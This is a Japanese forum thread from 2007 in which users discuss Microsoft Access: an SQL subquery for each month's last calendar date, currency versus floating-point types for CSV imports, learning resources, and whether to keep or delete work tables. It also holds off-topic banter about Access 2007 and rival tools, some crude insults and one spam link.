カレンダーから月末を返すクエリにデータテーブル結合した方が高速になってしまう。
別にカレンダーと月末に限った事では無いんだけど、こういう場合は素直に多重クエリにしておくべき?

593 :NAME IS NULL:2007/05/21(月) 22:41:42 ID:???
>>592
これって、カレンダーテーブルを使って月末を求めているってこと?
DateAdd 関数使って1ヶ月足して1日引けばでてくると思うのだけど、
それじゃだめなのか?


594 :NAME IS NULL:2007/05/21(月) 23:30:38 ID:???
Where Day(DateAdd("d", +1, [データテーブルの日付]))=1
だけで、カレンダーテーブルにはJOINする必要ないよね。

595 :591:2007/05/21(月) 23:46:07 ID:???
>592
 Access じゃ結果セットを作るための表や索引の転送も回線を流れるから確かに TOP の
限定は意味ないか。しかし、サブクエリを TOP で限定するようにすれば少しはマシになるかも
しれないとオモタ。

 dateserial(2007, 6, 0) でも 5/31 を返せるお。

596 :592:2007/05/21(月) 23:46:31 ID:???
おぉ、すげぃよみんな、ありがとう。関数見直してみます。
が、書いてから気づいた。必ず月末じゃなくて非インクリメントなカレンダーの各月の最終日だった。

一応現状を書いておきますね。
TBL_CALENDAR
KEY DATEVALUE (DATEVALUEの間隔はランダム)
----------------
1   2007/1/1
2   2007/1/2
3   2007/1/4
.....

TBL_DATA
KEY DATAVALUE
1   aaa
1   bbb
2   ccc
.....

こんなテーブル構造だとして、TBL_CALENDAR.DATEVALUEが
各月の最終日の場合そのKEYに対応するTBL_DATA.DATAVALUEを求めたいのだけど。

手法1.
SELECT DAT.DATAVALUE
FROM TBL_CALENDAR CAL INNER JOIN TBL_DATA DAT ON CAL.KEY = DAT.KEY
WHERE CAL.DATEVALUE = ANY (SELECT Max(CAL.DATEVALUE) FROM TBL_CALENDAR CAL GROUP BY Month(CAL.DATEVALUE));

手法2.
クエリ1(を作る)
SELECT Max(TBL_CALENDAR.DATEVALUE) AS DATEVALUE FROM TBL_CALENDAR GROUP BY Month(TBL_CALENDAR.DATEVALUE);

SELECT TBL_DATA.DATAVALUE
FROM クエリ1 INNER JOIN (TBL_CALENDAR INNER JOIN TBL_DATA ON TBL_CALENDAR.KEY = TBL_DATA.KEY) ON クエリ1.DATEVALUE = TBL_CALENDAR.DATEVALUE;

この2パターンでは手法2.の方が速度で勝ってるのが現状です。
手法1.が非効率なのはぱっと見でもわかるんだけど、手法2.以上の方法が思いつかんのです。
もっとスマートな方法ありそうなんだけど理系思考出来ないアフォなので詰まってます。
多重クエリが美しくないだけで実用上は手法2.でも問題は無いのですけど。

597 :591:2007/05/22(火) 00:49:28 ID:???
 Any とか In 、Exists は使い方を誤ると尋常じゃなく遅くなる(まるで左辺
一行ごとに右辺の表を全走査しているのではないかと思うほどに!!)ので注意ですよ。
 CPU使用率やネットワーク使用率、 I/O 転送量を見て、I/OネックかCPUネックなのかをよく確認
してみよぅ。

 で、こんなのはどうだろう? TBL_DATA に
(3, 'ddd'), (3, 'eee') という値を追加したものに実行すると
ddd
eee
が返ってくる。

select d.DATAVALUE
from (select c2.KEY
______from (select max(DATEVALUE) as maxDATEVALUE
____________from TBL_CALENDAR) c1 inner join
______TBL_CALENDAR c2 on c1.maxDATEVALUE=c2.DATEVALUE) c inner join
TBL_DATA d on c.KEY=d.KEY

アンダースコアの羅列は半角スペースと置換してちょうだい。
 時に GROUP BY Month(TBL_CALENDAR.DATEVALUE)
って指定する意味あった?全月の最終年の最終日をというということなのかな。
それだったら4行目を
____________from TBL_CALENDAR group by month(DATEVALUE)) c1 inner join
にすればいけるかも?

598 :592:2007/05/22(火) 01:24:43 ID:???
>>592
うっはぁ、こんなの待ってました。

select d.DATAVALUE
from (select c2.KEY
__from (select max(DATEVALUE) as maxDATEVALUE
____from TBL_CALENDAR GROUP By Month(DATEVALUE)) c1 inner join
__TBL_CALENDAR c2 on c1.maxDATEVALUE=c2.DATEVALUE) c inner join
TBL_DATA d on c.KEY=d.KEY

でOKです。
GROUP BY Month(TBL_CALENDAR.DATEVALUE) は「各月の」を満たす為でした。

FROMにサブクエリってのはそういう意味でしたか。いやぁ奥が深い。
使える事は知ってましたがどう使うのか理解してませんでした。
いろいろと適用させてもらいますね。ありがとうございました。

599 :NAME IS NULL:2007/05/22(火) 09:24:27 ID:???
アクセスで悩み苦しんでいます。アドバイスをお願いします。

別ソフトのデータを取り込んでアクセスで構築しようとしているのですが、
CSVでテーブルに読み込んだとき、数値型で小数点のある単価が正しく読み込めません。
0.7 を 0.699999988079などとなってしまい計算に誤差がでてしまいます。
文字型にすればよいのですが、ファイルサイズが肥大化してしまい、できれば単精度数値型で処理したいのですが・・
アクセスの仕様としてあきらめざるをえないのでしょうか?


600 :NAME IS NULL:2007/05/22(火) 09:29:50 ID:???
通貨型ってないの?

601 :NAME IS NULL:2007/05/22(火) 09:33:55 ID:???
>>600
だよなあ?
普通単価は通貨型で処理するよな?
単精度数値型でやれば結局2進数で処理されるから誤差はでる。
通貨型なら基本的に10進数処理だからでないはず。


602 :NAME IS NULL:2007/05/22(火) 09:47:45 ID:???
変に変換されてもなんだから、いっそ、全部文字列で取り込んで、
あとでゆっくり処理するようにしてる。

603 :NAME IS NULL:2007/05/22(火) 12:57:30 ID:huG1PU/X
通貨型、ある。

604 :NAME IS NULL:2007/05/22(火) 21:05:24 ID:???
>>602
感心した。デバッグ楽そうだし、今度からそうする。

605 :NAME IS NULL:2007/05/22(火) 21:08:38 ID:???
Accessは信用ならないから、
数値は文字列で処理すべき。

606 :NAME IS NULL:2007/05/22(火) 21:26:12 ID:???
適切なデータ型も分からない開発者は信用ならないから、
桐にしとけ。



607 :NAME IS NULL:2007/05/22(火) 21:40:02 ID:???
んだ、桐にしとけば良いよ
そういう開発者にも親切だから

http://www.kthree.co.jp/2seihin/1kiri9/7kiri9_siyo/spec1.html#datatype
実数型の演算は、常に誤差が生じる可能性があるため、お金などの数値を扱うデータ型としては適しません。
日常、扱う数値を格納する項目は、数値型または通貨型を使用してください。





608 :NAME IS NULL:2007/05/22(火) 22:53:42 ID:???
紙とえんぴつでおk

609 :NAME IS NULL:2007/05/23(水) 07:26:12 ID:???
>>607
まあ、確かに桐にしとけば生じない問題だったりするけど、
桐にしか通用しないやり方が身につくという問題もあるわな。
これに関してはAccessが悪いわけじゃなくて、
普通だってだけだからなあ。

610 :NAME IS NULL:2007/05/23(水) 08:42:37 ID:???
csvの取り込みなんて、どうしてもデータの信頼性そのものが不安定だから、
accessだろうが桐だろうが、SqlserverのDTSだろうが実装側で工夫しないと、
いずれエラーがでたり、変換ミスがでると思うんだが。

611 :NAME IS NULL:2007/05/23(水) 09:01:31 ID:???
>>610
そういえば、桐でCSVだったかK3ファイルだったか忘れたけど、
取り込んだらおかしくなって、よく調べたら区切り文字の","をデータに持っていたのが原因だった。
しかたないので、","を別の文字に変えてからやったことがある。


612 :NAME IS NULL:2007/05/23(水) 09:08:39 ID:???
CSVで ","をデータに持ってたらおかしくなるのは当然だよ〜
K3ファイルならテキスト項目は""で囲うから、そういう問題は生じない

613 :NAME IS NULL:2007/05/23(水) 09:58:12 ID:???
データに「,」があるのはあたりまえ。
csv出力時に,を内包するテキスト項目を"で囲わないアプリがあるのが問題。

614 :NAME IS NULL:2007/05/23(水) 10:01:44 ID:???
csv って、そんなもんでしょ

615 :NAME IS NULL:2007/05/23(水) 14:12:52 ID:XO8WKr6y
今からAccessを勉強しようと思うんだけど
いいサイトとか書籍とかありますか?
教えてください。

616 :NAME IS NULL:2007/05/23(水) 14:57:44 ID:2QqKWKTp
通貨型を使うとテーブルのCSVへのEXPORT機能が実質的に使えなくなる。(小数点が省かれてしまう等)
なんとかならんか・・

617 :NAME IS NULL:2007/05/23(水) 15:12:30 ID:???
だから桐にしとけって

618 :NAME IS NULL:2007/05/23(水) 15:44:30 ID:???
>>616
TSVじゃ駄目なのか。

619 :NAME IS NULL:2007/05/23(水) 23:23:43 ID:???
>616
vbNullChar で区切るんだ。

620 :NAME IS NULL:2007/05/24(木) 00:09:18 ID:???
コーディングで対応するしかないっしょ。

621 :NAME IS NULL:2007/05/24(木) 00:16:53 ID:???
桐だよ

622 :NAME IS NULL:2007/05/24(木) 00:53:38 ID:???
>>615
http://www.mahoutsukaino.com/index.htm
ここなんか結構いいのじゃないかと思う。
このなかの
http://www.mahoutsukaino.com/ac/intro.htm
これは入門者が一度読むことをお薦めします。


623 :NAME IS NULL:2007/05/24(木) 02:54:37 ID:Ry5+84sA
VBAから入るのが正統派ですYO

624 :NAME IS NULL:2007/05/24(木) 08:06:46 ID:???
事務とかだったら、いきなりvbaじゃ分け分からないまま、習得できずに終わるだろうが。

625 :NAME IS NULL:2007/05/24(木) 08:33:09 ID:???
ファイルメーカーさいこー

626 :NAME IS NULL:2007/05/24(木) 09:12:34 ID:???
ここはAccessと桐とファイルメーカを比べるスレではないのだが?
比較でAccessの特徴を際立たせるためというのならいいのだが?

>>623 はさすがにネタだろう?
テーブルもフォームもレポートもクエリーもわからんでどうやって
プログラム組むんだ?


627 :615:2007/05/24(木) 11:39:49 ID:aa+gQdP8
>>622
ありがとうございます。
早速これを使って勉強しようと思います。


628 :あぼーん:あぼーん
あぼーん

629 :NAME IS NULL:2007/05/24(木) 12:13:57 ID:???
さっきから桐桐言っているヤツいい加減に や め れ。見苦しい。巣に帰れ。

630 :NAME IS NULL:2007/05/24(木) 13:19:40 ID:???
>>626

623ではないが、谷尻のACCESS VBA応用プログラミングで
Access勉強した。
前任者が残していったmdbの修正がほとんどだったけどね。


631 :NAME IS NULL:2007/05/24(木) 15:11:39 ID:cmh3GV0q
>>626
テーブルやクエリやフォームはざっと把握すればよい。
できるだけ早めにVBAに慣れろ。

632 :NAME IS NULL:2007/05/24(木) 17:04:05 ID:???
クエリやマクロを組むことと、オブジェクトを意識しながら、
更でソースを書き込んでいくのでは、長くて深い川が隔たってるんだが。

出来る奴は、出来ない奴のことがさっぱり理解できないのは分かるが、
もう少し想像力を働かせろ。

633 :NAME IS NULL:2007/05/24(木) 17:17:19 ID:???
>>632

でも、Accessはそういうもん(VBAでプログラミング)だと思っていれば、
それほど苦にならないんじゃないか。
どのみち、いずれはVBA必須の作業とか出てくるんだし。
俺がPC初めて買ったときは、ソフトは買うものじゃなくて
作るまたは本見て打ち込むものだったからなぁ。
BASICの知識は必須だったよ。


634 :NAME IS NULL:2007/05/24(木) 19:23:30 ID:LAylLOkr
AccessのVBAを始める前に、VBScriptを勉強することを強く薦める。
便利な統合環境よりも、EditorとCmdだけの環境で小さなプログラムを数多く作るのがよい。


635 :NAME IS NULL:2007/05/24(木) 20:23:21 ID:???
このHPがだいぶ役に立った。
ttp://www.accessclub.jp/index.html
ttp://www.tsware.jp/index.htm

636 :NAME IS NULL:2007/05/24(木) 20:24:55 ID:???
趣旨は分かるんだけど、IDEが使えないというその障害は
初心者の大半を撃沈すると思うぞ。

637 :NAME IS NULL:2007/05/24(木) 20:52:22 ID:???
今からAccess触る奴(特に触るのがいきなり2007な奴)ってマジ大変だな。
昔のNorthWind社はすげぇ小さい単純な会社だった。
今のサンプル解析する気になんねぇwww

638 :NAME IS NULL:2007/05/24(木) 20:54:07 ID:???
Option Explicit さえ使えない環境から入門させるってのも酷な話だよな


639 :NAME IS NULL:2007/05/24(木) 21:09:24 ID:???
 VBA から入れというなら、VB.NET でいいじゃない。
 Access の VBA やフォームはデータをユーザが使いやすいようにうまくハンドリング
するためのツールであり、それをバックアップするエレガントなテーブルを設計すること
こそが Access 開発の真髄。
 適切なインデックスや制約どころか第一正規形にすらなっていないテーブルをゴリゴリ
かき回させられ、データの不備の責任を押し付けられるモジュールやフォームを見るのは
大変忍びない。

640 :NAME IS NULL:2007/05/24(木) 21:26:45 ID:???
外部DBや非連結フォーム使うぐらいなら .NET でいいかもね。

やっぱAccessなら連結フォームでローカルデータをサクサク編集だね。

641 :NAME IS NULL:2007/05/25(金) 00:04:59 ID:???
非連結を主流で使ってる知ったかぶりの奴が、どこぞの
BBS・チャットに張り付いてるぞ。

642 :NAME IS NULL:2007/05/25(金) 02:04:26 ID:PuvIlvDY
まあ、素人が名簿リストをつくるだけならVBAはいらんだろ

643 :NAME IS NULL:2007/05/25(金) 06:30:53 ID:???
>>642
だったらACCESSすら不要だろwww
表計算やワープロだけで充分事足りる。

644 :NAME IS NULL:2007/05/25(金) 15:15:46 ID:uiKhC8w0
三日で五千円ゲット♪ http://kenshowalker.com/?RID=083717

645 :NAME IS NULL:2007/05/25(金) 18:04:10 ID:???
こんなスレで小山の大将か・・・おまえら全員うんこだな

646 :NAME IS NULL:2007/05/25(金) 19:39:47 ID:nLxfc4Bw
またお前かw

647 :571:2007/05/26(土) 04:04:57 ID:rZAuYzRM
>>591
亀レスですみませんが
必要なカラムのみのワークテーブルをローカルに作って、事前に抽出して
それで検証するようにしたら、めちゃくちゃ早くなりました。ありがとうございます。
これなら一回抽出しておけば、以降の作業がとてもストレスなく進められます。

648 :NAME IS NULL:2007/05/26(土) 12:38:17 ID:???
ここは、うんこ製造機の集会場です、臭いですよ

649 :NAME IS NULL:2007/05/26(土) 13:20:10 ID:???
>>647
あとからワークテーブルを使い始めたような場合は、仕様書(的なものもふくめて)に明記がないので、
設計変更のときにワークテーブルだけ変更せずにバグ発生とかあるから気をつけてな。

650 :NAME IS NULL:2007/05/26(土) 18:42:43 ID:???
うんこがたまってきたなwww

651 :NAME IS NULL:2007/05/27(日) 01:39:38 ID:???
ワークテーブルだらけでどれが消していいワークでどれが消したらダメな本番テーブルなのか
全然わからなくなりますた・・・(´・ω・`)

652 :NAME IS NULL:2007/05/27(日) 02:12:17 ID:8DUv8anv
Accessでヘタクソな開発をするとそうなる。

653 :NAME IS NULL:2007/05/27(日) 08:35:34 ID:???
>>651
ワークテーブルをワークMDBに作ればいいだけだ。
ただ、テーブル作成クエリも含め操作中にワークテーブルを作るのは
楽な方法だが、これは前もってワークMDBに必要なワークテーブルを
作っておき、利用する時にデータ追加・終わったらデータ削除のような
手段を取った方が良い。

654 :NAME IS NULL:2007/05/27(日) 14:27:04 ID:???
ここは10年前の開発手法のままだね。

時代に遅れてるって自覚無いの?

655 :NAME IS NULL:2007/05/27(日) 14:29:28 ID:???
accessで時代先取りの開発手法を取り入れる方法をぜひご伝授下さい!お願いしますっっ!!!

656 :NAME IS NULL:2007/05/27(日) 17:01:06 ID:???
つ非連結フォーム

657 :NAME IS NULL:2007/05/27(日) 18:35:20 ID:???
>>656
Accessを使う意味が薄れる。

658 :NAME IS NULL:2007/05/27(日) 18:37:02 ID:???
じゃ、桐のが良いじゃん

659 :NAME IS NULL:2007/05/27(日) 18:55:43 ID:8DUv8anv
やりたいことができればよい。時代を先取りしようとするな。

660 :NAME IS NULL:2007/05/27(日) 19:57:09 ID:???
accessは出てから10年以上経つが基本的な部分はなにも変わってはいない。
10年前の開発手法といえばそうかもしれないが、
そんなことを言えば他の現実的な開発手法はそれなりに歴史がある。
歴史のまるで無い最新の開発手法など恐ろしくてとても使えそうもない。


661 :NAME IS NULL:2007/05/27(日) 21:15:29 ID:AAxYyDnl
新交通システムはダメで路面電車は良いと言う議論と同じか。

662 :NAME IS NULL:2007/05/27(日) 21:18:56 ID:???
リニアはだめで、新型新幹線は良いという議論ぐらいじゃね?w

663 :NAME IS NULL:2007/05/27(日) 21:33:19 ID:???
いや、在来線は良いが新幹線は死ぬまで乗らないぞ、っていう議論だろ

664 :NAME IS NULL:2007/05/27(日) 22:36:12 ID:???
在来線はCOBOLだろ?
立派に今でも使っているが、今更新幹線に取って代わろうというものでもなかろう?


665 :NAME IS NULL:2007/05/27(日) 23:00:07 ID:???
鉄道板はここでいいですか?

666 :NAME IS NULL:2007/05/27(日) 23:57:10 ID:8DUv8anv
路面電車のどこが悪いのか?

667 :NAME IS NULL:2007/05/28(月) 00:17:25 ID:???
>>660
なにが言いたいのかさっぱりわからん。

Accessは10年前から何もかわらず、
新しい開発手法も育ててこなかったので、

新しい手法を試すか?→歴史が無い→古い手法のまま行く→新しい手法を試すか?→繰り返す の
悪循環に陥っているということか。

668 :NAME IS NULL:2007/05/28(月) 00:41:11 ID:???
勘違いしていけないことは、
Accessはデータベースはデータベースでも
ExcelやWordと同じレベルのものだってことだ。

プロの視点から見れば、効率が悪いとかいろいろ不満はでるが、
ちょっとパソコンができる程度の素人にはこれが限界。

669 :NAME IS NULL:2007/05/28(月) 00:41:56 ID:???
>651
 こっちはワークテーブルの生成と破棄をクラスでラッピングして、ワークテーブルを使う
フォームとか処理またはアプリケーション起動時にそのクラスを生成するようにしてる。
 テーブル名はランダムにして、クラスが生成したテーブル名をプロパティで取り出せるように
なっているので過去のワークテーブルにデータが残っていて変な動作をすることもなし。

 問題点は、定期的にワークテーブルの清掃をしないとアプリケーションエラーで残った
ゴミがたまってくること。うちはログオンスクリプトを使って、ログオンするごとにフォームの
詰まった mde ファイルをライブラリから上書きコピーさせるやり方で回避しているけれども。

670 :NAME IS NULL:2007/05/28(月) 01:02:31 ID:???
最新の技術で何が出来るのかは知っておくべきだと思うが、
デメリットがメリットを上回らない限りわざわざ置き換える必要も無かろうに。

そもそもファイルベースのRDBでAccessに替わるような枯れた物あるか?

671 :NAME IS NULL:2007/05/28(月) 01:07:01 ID:???
>668 以外は誰も勘違いしていないように見えるぞw

672 :NAME IS NULL:2007/05/28(月) 01:23:57 ID:gjxxxbUJ
>デメリットがメリットを上回らない限り

???

673 :NAME IS NULL:2007/05/28(月) 01:31:21 ID:???
>>672
国語が不自由なのか?
(accessで得られる)メリットが、(最新の技術を使えないことで生じる)デメリットを大きく
上回っているかぎり、わざわざ(最新の技術に)置き換える必要も無かろうに。

と言いたいんだろ。そんなことも分からんのか?

674 :NAME IS NULL:2007/05/28(月) 01:35:33 ID:???
まあ、Accessで作る程度の規模のシステムで最新の開発手法が必要かどうかはかなり疑問。
車で言えばアルトを開発するのにF1の技術を必要とするとは思えない。
お気軽小規模システムを開発するのにAccessはそれなりに使えるよ。
別にそれでいいじゃん。


675 :NAME IS NULL:2007/05/28(月) 01:42:02 ID:???
ワークテーブルは、効果的だったら使えばいいだけの話でしょ。
手法として古いからどうとか新しいからどうとかはナンセンスだし、
ある局面でワークテーブルを使うのが適切かどうかは具体的な状況に
依存するから、一般論で善し悪しを決められるわけもないと思う。

むしろAccessの問題として引きつけて言うなら、SQLServerの#や##の
ような、ワークテーブルをシステム側で管理・区別するための仕組みが
用意されていない点は、どうなのかな。
>669 のような工夫はすばらしいと思う。つかうpしてくれ。w
でも見方を変えると、ワークテーブル使う開発者にそういう工夫を
要求してしまう点こそ、Accessのちょっとダメぽなところかなと。

676 :NAME IS NULL:2007/05/28(月) 01:48:24 ID:???
>>674
お前、せっかく鉄道の流れが沈静化してきたところでそういうたとえをw

では車にはうるさい方、どうぞ。↓

677 :NAME IS NULL:2007/05/28(月) 01:51:39 ID:???
ビートに謝れ!

678 :NAME IS NULL:2007/05/28(月) 01:59:29 ID:???
>>677
> ビートに謝れ!
ソリャア、エライスマンコッタ。
ってなんでや?(w


679 :NAME IS NULL:2007/05/28(月) 02:02:03 ID:???
>>678
F1の技術が導入...はいいすぎだが、ビートのミッドシップ、足回りはNSXゆずり。

680 :NAME IS NULL:2007/05/28(月) 03:01:39 ID:???
まあ、ある程度の規模になったら
Accessは捨てるよね。

681 :NAME IS NULL:2007/05/28(月) 06:31:11 ID:gjxxxbUJ
>>673
「メリットがデメリットを上回らない限り」と書くのが正しい国語じゃないかと思ったんだが・・

682 :NAME IS NULL:2007/05/28(月) 09:21:12 ID:8Tazs9tB
買い物するには、ベンツよりも軽のほうが小回りきいて便利だよ。

683 :NAME IS NULL:2007/05/28(月) 09:38:00 ID:ApvIhOem
>>668
wordやExcelとの違いは最新バージョンの参考書より、一世代前のバージョンの参考書が本屋で幅を効かせていることだ。ACCESSスレでも2007の話題少なすぎ。


684 :NAME IS NULL:2007/05/28(月) 09:40:48 ID:???
>>682
だな。
軽のユーザーのところにわざわざ来て、
フェラリーはすごいぞってなんていうやつは
たいがいフェラリーなんて乗ってない。
それどころか、免許も無い厨房や工房だったりする。

そういや、一時期乗換えを検討していたFoxProの開発をやめるらしい。
乗り換えないで良かった?
dBaseII時代からXbase系列は良く使ったものだし、
ある意味Accessよりもずっと手軽だった。
ご冥福を・・・・別に死ぬわけじゃないか(w)


685 :NAME IS NULL:2007/05/28(月) 10:57:34 ID:???
>>683
じゃあ、2007をちょっとだけ使ってみた俺の感想。












GUIが激しく糞。MS死ね。

686 :NAME IS NULL:2007/05/28(月) 11:42:04 ID:???
>>683
一応、Access使いくらいになれば、MSの新バージョンが使い物にならないくらいのことは知っている。
新しいバージョンに飛びつくヤツは極めて少ない。したがって古い本のほうがよく売れる。
女房や畳と違って新しいほうがいいとは限らない(w

でもって、すぐに2007に飛びつくようなやつはGUIがどうのこうと言う。
でもって、「グラフィカルユーザインタフェースが激しく糞」ってどういう意味なのかがわからない。
グラフィカルユーザインタフェースって標準的な操作方法を確立するための手法でもあるので
どの開発システムでもそれほど変わりは無い。
これが糞ってどういうこと?ユーザインタフェースの種類が少ない?
確かにそれはそうかもしれないが、ちょっと使ったくらいでそんなことわかるのか?
でもって、どうやらデザインのことを言っているらしいということにしばらくかかるのだった。

でもって、GUIが糞なのではなく、 >>685 が糞なのだということにやっと気がつくのであった。



687 :NAME IS NULL:2007/05/28(月) 11:54:50 ID:???
>>686
おまえ本当に2007使っていってみてるのか?
曲がりなりにもデータベースの位置づけのアプリが、いきなりあんなにGUI変えたら、
業務で使ってる奴は混乱するんだよ!

SqlServer2005のときもどうかと思ったが、あれは所詮管理者や開発者しか使わないからいい。
が、accessは使用者のほとんどが一般のオペレータ。あそこまで変えるのはありえん。激しくありえん。

688 :NAME IS NULL:2007/05/28(月) 11:57:49 ID:???
Access2007 はパーソナル向け製品です。
住所録管理に使ってください。

689 :NAME IS NULL:2007/05/28(月) 12:14:26 ID:???
>>687
GUIなんか使ってないwww
MDB形式のファイルとJETが
互換性のために残っていればいい。

690 :NAME IS NULL:2007/05/28(月) 12:46:55 ID:???
>>689
なんだよ、その屁理屈(-_-)
だったら、2007に乗り換える意味すらないじゃん....

691 :NAME IS NULL:2007/05/28(月) 12:57:18 ID:???
>>690
所詮ACCESSなんてJET用のデータビュアーだよwww


692 :NAME IS NULL:2007/05/28(月) 13:00:36 ID:???
つうことでたいていのAccessユーザーは2007に乗り換える意味がないので、乗り換えない。
一部の新し物好きが使ってくれて、バグが出尽くしたら乗り換えを考える。
今のところ、ユーザーインタフェースが変わっただけみたいだし、積極的に乗り換える意味は無さそう。


693 :NAME IS NULL:2007/05/28(月) 13:22:43 ID:???
>691 はその通りだが、だからこそAccessはGUIがすべて。
JetとミドルウェアだけでいいんだったらAccess使う意味なんてない。
そこにGUIが欲しいからAccess使うんであって。

屁理屈というより自爆だな。

694 :NAME IS NULL:2007/05/28(月) 13:42:31 ID:???
でもって >>693 はいったいAccessをなにに使っているんだ。
住所管理か?


695 :NAME IS NULL:2007/05/28(月) 13:46:19 ID:???
なんでこの板って、accessごときで格好付ける人が多いのかね。
jet用のデータビューアだなんて、言ってみたかっただけちゃうんかと。

696 :NAME IS NULL:2007/05/28(月) 14:19:59 ID:???
まあ、言ってみたかっただけだろうね。

できれば言行一致で、コマンドプロンプトからvbsかjs叩きまくって
「GUIなんか使ってない」と言いはり続けてほしいわ。
間違ってもAccessなんか使うなよ。ガンガレw

697 :NAME IS NULL:2007/05/28(月) 14:23:53 ID:???
もとを正せば >>1 が悪い。「アクセスは最強のデータベース」って
そんなわきゃないだろう?って話にどうしてもなってしまう。

まあ、素人にC言語とマニュアル渡してこれで開発してねって
頼んだところでどうにもならない。
でも、Accessと入門書を渡せば、フォーム作ってレポートつくって、
途中はクエリーとVBAで処理すればいいと言えば、簡単にできそうな気がする。
気がするだけで、結構そこからが長いのだけど・・・・・

まあ、一応の開発用ツールが全部ついてくることを考えると
コストパフォーマンスはかなり高い。

「アクセスはそこそこ使える開発ツール」ってのが正解じゃないのかなあ?


698 :NAME IS NULL:2007/05/28(月) 14:33:25 ID:???
>>696
> 「GUIなんか使ってない」と言いはり続けてほしいわ。
Windows立ち上げた時点でGUI使っているというのはとりあえず目をつぶるのか?(w
FreeBSDでEmacsとC言語とMySQLの組み合わせで開発して欲しいものだ。
尊敬するよ。生きた化石として・・・・・・


699 :NAME IS NULL:2007/05/28(月) 14:34:51 ID:???
>>697
手遅れだけど、それは言えてるかもね。

たまにあるけどさ、格闘技板で「○○こそ格闘技最強!」みたいな
スレ立てて集中砲火喰らってるの。
そういうスレタイ付けなければ、その流派に興味のある人たちが、
多少なりともマッタリと語り合えていたかもしれないだろうに。

これ次スレあるなら、ちょっと鯛変えない?

700 :693:2007/05/28(月) 14:43:09 ID:???
>>694
甘いな。
オレに住所を管理するほど友達がいるわきゃねーだろ(泣

701 :NAME IS NULL:2007/05/28(月) 20:13:17 ID:8Tazs9tB
コンピュータで管理せにゃならんほど友達が多いっちゅうのも変だと思うが・・

702 :NAME IS NULL:2007/05/28(月) 20:15:11 ID:???
>>701
つ マルチ

703 :NAME IS NULL:2007/05/28(月) 21:13:49 ID:ApvIhOem
>>701
俺は年賀状1000枚出すからコンピューターが無いと困るが。

704 :NAME IS NULL:2007/05/28(月) 21:14:56 ID:???
秘書が年賀状出すからコンピュータとか関係ない

705 :NAME IS NULL:2007/05/29(火) 01:17:17 ID:PeTZ2qQy
>>669
ワークテーブルを使うメリットの一つにプロセスの痕跡を残すことだと思うが(それがバグ追跡の手がかりとなる)
テーブルが自動的に破棄されてしまうと、その痕跡も消えてしまうのだろうか?


706 :NAME IS NULL:2007/05/29(火) 03:10:13 ID:???
痕跡のこしたけりゃ、プロセスログを別で取ればいいだろうが。

707 :NAME IS NULL:2007/05/29(火) 06:53:13 ID:???
>>669
AccessVBAごときにクラスって・・・普通に関数で良かったんじゃねぇか。

>>706
何でそんな仕掛けをしなきゃいかん。

708 :NAME IS NULL:2007/05/29(火) 08:04:38 ID:???
>>707
> 何でそんな仕掛けをしなきゃいかん。

バグ追跡のためだろwww

709 :NAME IS NULL:2007/05/29(火) 12:35:16 ID:???
>>705
ワークテーブルなんぞ、理想は知らないうちに生成されて、使い終わった後は知らないうちに
削除されるのが理想なのに、プロセスの痕跡を残すためにワークテーブル残しておいたら、
本末転倒もいいとこ。そんなのは、せいぜい開発中や試験時のときだけだろ。

710 :NAME IS NULL:2007/05/29(火) 13:03:51 ID:???
ここは本家厨房が集まるスレでつか?

711 :NAME IS NULL:2007/05/29(火) 13:25:08 ID:???
>>710
違いますwww

712 :NAME IS NULL:2007/05/29(火) 13:26:26 ID:???
>>710
正解です。

713 :NAME IS NULL:2007/05/29(火) 13:33:24 ID:fg4uahOO
>>709
何故ワークテーブルを生成する必要がある?
ワークmdbにワークテーブルを初めから用意しておけばいい。
何かあった時に、ユーザーミスかバグかの切り分けや、その後の調査に役に立つ。
何で本末転倒という言葉が出てくるのかわからんし、リリース後絶対にバグは
出ないのかねぇ。

714 :NAME IS NULL:2007/05/29(火) 13:40:52 ID:???
>>713
なんでお前はそこまでワークテーブルに固執するんだww
そもそも、jetが一時テーブルを持っていればワークテーブルの議論が発生しないことに気が付け。

でもって、ワークテーブルをなにに流用しようがそんなのは開発者のかってだが、
プロセス痕跡のためにワークテーブル消すな!
までいくと、本末転倒だって言ってんだよ。

715 :NAME IS NULL:2007/05/29(火) 15:15:24 ID:???
>>714
> プロセス痕跡のためにワークテーブル消すな!
> までいくと、本末転倒だって言ってんだよ。

なんのためにワークテーブルを一々消す必要があるのかな?
消す手間と時間、また生成するための手間と時間をかけてのメリットは?
どうせ作らなければならないのなら、最初から作っとけというのは極めて当然の考え方だと思うけど?
まあ、放っておくとドンドン肥大化するだろうから、時々整理する必要はあるだろうけど、
一々消さなければいけない理由なんてなにもないと思うけどなあ?

かつてにようにハードディスクが高価で無駄なファイルは片っ端から消す必要のあった時代なら
ワークテーブルを消去しないなんてとんでもないことだったろうけど、
ビジネス用途では使いけれない大容量のハードディスクが安く出回っているのに、
一々消すほうがばかばかしいような気がする。

ワークテーブルは消去するというのが常識というものかもしれないけど、
常識も時代の流れで変わってくる。常識にとらわれすぎるのも本末転倒だと思うけどなあ?


716 :NAME IS NULL:2007/05/29(火) 15:46:11 ID:???
俺的にはべつにどっちでもいいはなしだ

717 :NAME IS NULL:2007/05/29(火) 16:24:33 ID:???
俺は消さない派だが、ワークテーブルが残っているのがどうしても気持ち悪いってのなら消してもいい。
人の美学にケチつけるつもりはない。
ただ、jetが一時テーブルどうのこうのって言ったところで無意味だと思うよなあ?
無いものねだりしたってしょうがないだろう?
他ではこれくらい常識だって言ったところでそれは他での話で、Accessでは使えない話なんだからねえ?
形だけ真似したからって特に意味があるとも思えない。


718 :NAME IS NULL:2007/05/29(火) 18:52:09 ID:???
素人の素朴な疑問ですが、ワークテーブルを消さない人は「ワークID」とか振って管理しているのですか?
それとも、もしかして使った後に消すか、使う前に消すかを言い争ってるのですか?

719 :NAME IS NULL:2007/05/29(火) 19:09:11 ID:???
>>718
テーブルごと消すか、レコードだけ消すか、だと思われ。


720 :NAME IS NULL:2007/05/29(火) 19:50:13 ID:3uO8wNjt
>>699はテーブル名をランダムに生成しているから消さんことにはとんでもないことになるから消してるんだろ。

721 :NAME IS NULL:2007/05/29(火) 19:50:54 ID:3uO8wNjt
>>669の間違い

722 :NAME IS NULL:2007/05/29(火) 20:27:50 ID:???
>>719
んだ!その都度テーブルの構造が変わるってのなら別だけど、
同じ構造のテーブルを毎度毎度生成するのは無駄だべって話だ。
そうしなければ、気がすまないという人は別にやってもいいけど、
そうでなければいけないって言われても、そんなことしてなんのメリットがある?


723 :NAME IS NULL:2007/05/29(火) 20:28:37 ID:fg4uahOO
>>717 適切な説明ありがと。特に無いものねだりは、グー。

>>718
